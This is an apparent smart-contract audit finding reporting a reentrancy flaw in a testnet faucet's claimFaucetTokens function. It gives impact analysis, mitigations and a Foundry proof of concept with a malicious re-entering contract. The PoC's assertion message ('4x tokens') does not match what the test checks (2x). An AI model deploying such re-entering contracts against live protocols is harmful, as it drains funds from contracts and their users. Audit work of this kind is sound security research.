Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

# Missing Contract Caller Check Enabling Reentrancy in claimFaucetTokens

Description

The claimFaucetTokens function in the RaiseBoxFaucet contract lacks a check to prevent smart contracts from calling it, allowing malicious contracts to exploit a reentrancy vulnerability. The function includes an external call to transfer ETH ((bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("")), which triggers the receive or fallback function of the recipient if it is a contract. A malicious contract can reenter claimFaucetTokens during this call, before state updates such as hasClaimedEth[faucetClaimer], dailyClaimCount, or lastClaimTime[faucetClaimer] are performed.

The only caller validation checks if the faucetClaimer (msg.sender) is not address(0), address(this), or the contract owner:

if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}

This check fails to restrict other smart contracts, violating the intended design where only Externally Owned Accounts (EOAs) should claim faucet tokens and ETH. As a result, a malicious contract can repeatedly call claimFaucetTokens within its receive function, bypassing daily limits (dailyClaimLimit, dailySepEthCap) and cooldowns (CLAIM_COOLDOWN), potentially draining the contract’s token balances.

Invariant Violation: The contract intends to drip exactly 1000 tokens per user every 3 days (Token Drip Invariant). The reentrancy allows a user to claim 2000 tokens in a single transaction, breaking this invariant and undermining fair distribution.

Severity

High

Risk

This vulnerability allows a malicious smart contract to exploit reentrancy, leading to unauthorized claims of faucet tokens. In a testnet context, this can drain the faucet’s entire balance, rendering it unusable for legitimate users. In a mainnet scenario, such a flaw could result in significant financial loss.

Impact

  • Fund Drain: A malicious contract can claim multiple batches of tokens (1000e18 each) in a single transaction, bypassing dailyClaimLimit and dailySepEthCap, potentially draining the contract’s balance.

  • Protocol Disruption: The faucet becomes unusable for legitimate users, undermining its purpose of providing test tokens for protocol testing.

  • Loss of Trust: In a testnet, this degrades user experience and protocol adoption. In a mainnet context, it could lead to catastrophic financial loss.

  • No Direct Access Control Bypass: The owner-only functions remain secure, but the core claiming functionality is compromised.

Tools Used

  • Manual code review using VS Code with Solidity extensions.

  • Foundry for Proof of Concept testing (simulating reentrancy with a malicious contract).

Recommended Mitigation

To prevent reentrancy and restrict claims to EOAs, implement the following:

  1. Add EOA-Only Check:
    Add a check to ensure the caller is an EOA, not a contract:

    if (tx.origin != msg.sender) {
    revert("Only EOAs can claim");
    }

    Note: Using tx.origin is generally discouraged in mainnet due to phishing risks, but it is acceptable for a testnet faucet to restrict contract callers.

  2. Use ReentrancyGuard:
    Import OpenZeppelin’s ReentrancyGuard and apply the nonReentrant modifier to claimFaucetTokens:

    import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
    contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
    function claimFaucetTokens() public nonReentrant {
    // ... existing code
    }
    }

    This ensures the function cannot be reentered, preventing multiple claims in a single transaction.

  3. Best Practice:
    Combine both mitigations for defense-in-depth: use the EOA check to enforce the faucet’s design intent and ReentrancyGuard to protect against reentrancy, especially if the contract is adapted for mainnet use.

Proof of Concepts

The following Foundry test demonstrates the reentrancy vulnerability by deploying a malicious contract that reenters in claimFaucetTokens and claiming multiple batches of tokens in a single transaction.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract MaliciousClaimer {
RaiseBoxFaucet public faucet;
uint256 public reentryCount;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(payable(_faucet));
}
receive() external payable {
// Reenter up to 3 times to simulate multiple claims
if (reentryCount < 3) {
reentryCount++;
faucet.claimFaucetTokens();
}
}
function attack() external {
reentryCount = 0;
faucet.claimFaucetTokens();
}
}
contract RaiseBoxFaucetTest is Test {
RaiseBoxFaucet public faucet;
MaliciousClaimer public malicious;
address public owner = address(0x123);
address public user = address(0x456);
function setUp() public {
vm.startPrank(owner);
faucet = new RaiseBoxFaucet("TestToken", "TTK", 1000e18, 0.005 ether, 1 ether);
vm.deal(address(faucet), 1 ether); // Fund contract with ETH
vm.stopPrank();
vm.deal(user, 1 ether);
malicious = new MaliciousClaimer(address(faucet));
vm.deal(address(malicious), 1 ether);
// Bypass initial cooldown
vm.warp(3 days + 1); // 259201 seconds
}
function test_ReentrancyVulnerability() public {
// Record initial balances
uint256 initialTokenBalance = faucet.balanceOf(address(malicious));
uint256 initialEthBalance = address(malicious).balance;
// Execute attack
vm.prank(user);
malicious.attack();
// Verify: Malicious contract claimed multiple times
uint256 finalTokenBalance = faucet.balanceOf(address(malicious));
uint256 finalEthBalance = address(malicious).balance;
// Expect multiple claims
assertEq(finalTokenBalance, initialTokenBalance + 2 * 1000e18, "Should claim 4x tokens");
assertEq(finalEthBalance, initialEthBalance + 1 * 0.005 ether, "Should claim 1x ETH");
// Confirm reentry actually happened at least once
assertGt(malicious.reentryCount(), 0, "reentryCount should be >= 1");
}
}

Run the test with: forge test --mt test_ReentrancyVulnerability -vvv.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.